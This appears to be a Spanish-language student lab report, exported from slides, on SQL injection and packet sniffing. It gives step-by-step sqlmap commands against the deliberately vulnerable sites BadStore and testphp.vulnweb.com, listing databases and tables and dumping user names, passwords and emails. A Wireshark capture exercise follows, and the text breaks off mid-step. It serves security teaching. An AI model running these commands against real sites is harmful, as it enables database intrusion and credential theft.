Este documento describe cómo realizar un ataque de inyección de código SQL a una base de datos. Primero se debe descargar e instalar el software SQLMap u otro software similar. Luego se realiza un análisis de vulnerabilidades en el sitio web objetivo y se ejecutan comandos de SQLMap para obtener información de la base de datos como el nombre, tablas, columnas y datos. Finalmente, se presentan los resultados del ataque.
2. 1. Ataque por inyección de
código SQL.
Descargue e instale la máquina virtual Virtualbox.
- Descargue BadStore.
- Descargue un programa para realizar ataque por inyección de código
SQL sesugiere SQLMAP (http://sqlmap.org/) o Nmap
(http://nmap.org/download.html.
- Realizar un ataque a la base de datos de Badstore, con lo cual se debe
obtener toda la información sobre la base de datos por ejemplo servidor
de BD y versión, nombre de la base de datos, nombre de las tablas,
información de las tablas, información de las columnas, etc.
- Realizar una presentación o video sobre el ataque realizado.
3.
4.
5. Para determinar la vulnerabilidad del sitio que se nos dá, debemos
colocar una comilla al lado del signo igual y actualizamos la página y
esto nos debe indicar que tiene un error de sintaxis en la instrucción
SQL, lo que lo hace vulnerable al ataque.
Entonces copiamos la URL y lo copiamos en el comando del software
sqlmap y ejecutamos presionando la tecla Enter
sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?artist=1 –bds
Este comando nos permitirá conocer el nombre de la base de datos,
como lo muestra la siguiente gráfica
6.
7. Conociendo el nombre de la base de datos podemos ahora conocer las
tablas que hacen parte de esa base de datos por medio del siguiente
comando
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?artist=1
-D acuart –tables
De este modo podremos conocer el nombre de las tablas, que hacen
parte de esa base de datos
8.
9. Una vez identificadas las tablas podremos conocer, las columnas de
cada tabla, para ello debemos digitar el siguiente comando.
sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?artist=1 -D acuart -
T users –columns
Este comando nos mostrará, las columnas de la table Users, tal como
lo muestra la siguiente gráfica.
10.
11. Luego conocer las columnas de la tabla Users, debemos conocer el
contenido de algunos de los campos, de dicha tabla. Por medio del
siguiente comando podremos conocer el contenido del campo
Uname, por medio del siguiente comando:
sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?artist=1 -D
acuart -T users -C uname –dump
La siguiente gráfica nos muestra el contenido del campo uname
12.
13. Así mismo para los campos restantes, tales como el contenido del
campo name, por medio del siguiente comando.
sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?artist=1 -D
acuart -T users -C name –dump
La siguiente gráfica muestra el contenido del campo Name, en la
table acuart
14.
15. Y podemos seguir conociendo más datos de la tabla usuarios, ahora
lo vamos a hacer con el campo email
16. Por si quedan dudas extraemos la información de la cedula
17. 2. Ataque con inyección de
código SQL a sitio web
Realizar un ataque a la base de datos del sitio
http://testphp.vulnweb.com, con lo cual se debe obtener toda la
información sobre la base de datos por ejemplo servidor de BD y
versión, nombre de la base de datos, nombre de las tablas, información
de las tablas, información de las columnas, etc.
18. Lo primero que debemos es definir de qué modo se realizará el ataque,
ya sea por sistema operativo Linux o por Microsoft.
Para este caso se relaizara con Microsoft
Luego de definir el sistema para el ataque se procede a descargar un
programa para realizar ataque por inyección de código SQL se sugiere
SQLMAP ( http://sqlmap.org/) o Nmap
(http://nmap.org/download.html) y el programa Pyntos
Descarga de pyntos
20. Una vez descargados se necesita que la carpeta comprimida de sqlmap sea
instalada en el mismo lado o unidad como se observa en la imagen.
21. Ahora validamos que la pagina suministrada sea vulnerable a
ataques, esto se hace agregando el apostrofo‘ al final de url.
Url a validar: http://testphp.vulnweb.com
Validación de vulnerabilidad de la Url
22. Una vez analizada y verificado el posible ataque a realizar, procedemos
a ubicarnos en por línea de comandos en la carpeta sqlmap con el
comando cd .., de la siguiente manera:
23. Y una vez ubicados en la carpeta sqlmap, comenzamos con la
ejecución de comando.
Ejecución de comando para averiguar nombre de la base de datos:
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 --
dbs
24. Ejecución de comando: sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?cat=2 --current-db; para
extraer información de la base de datos
25. Comando para extraer el nombre de las tablas de la base de datos:
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 –D
acuart --tables
26. Comando para extraer las columnas de la base de datos: sqlmap.py -
u http://testphp.vulnweb.com/listproducts.php?cat=2 –T user --
columns
27. Comando para extraer datos de las columnas de la base de datos:
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D
acuart -T user -C name –dump
28. Comando para validar password: sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T user
-C pass –dump
29. Commando para verificar email: sqlmap.py -u
http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T
user -C email –dump
30. 3. Ataque por Sniffing.
Para esta práctica se debe descargar el software Wireshark desde el
sitio web http://www.wireshark.org/download.html. La práctica
consiste en la instalación del software Wireshark, luego con el
software en ejecución tomar una observación prolongada,
generando tráfico ftp, telnet, http, icmp, entre Una vez terminado el
proceso de captura inicie el análisis de los paquetes e identifique
que tipo de información se puede obtener a través de este tipo de
ataque.
31. Se descarga el programa del página
http://www.wireshark.org/download.html, verificación al abril el
programa, damos clik, donde señala la fecha
33. La tarjeta que se debe colocar a la escucha es la que recibe datos, luego
de escogerla damos clik en Star, al instante se inicia con la captura de
paquetes de datos de todos los hots conectados a la red.
34. Luego escribimos el protocolo que queremos filtrar, en el recuadro que
indica la fecha
Asi: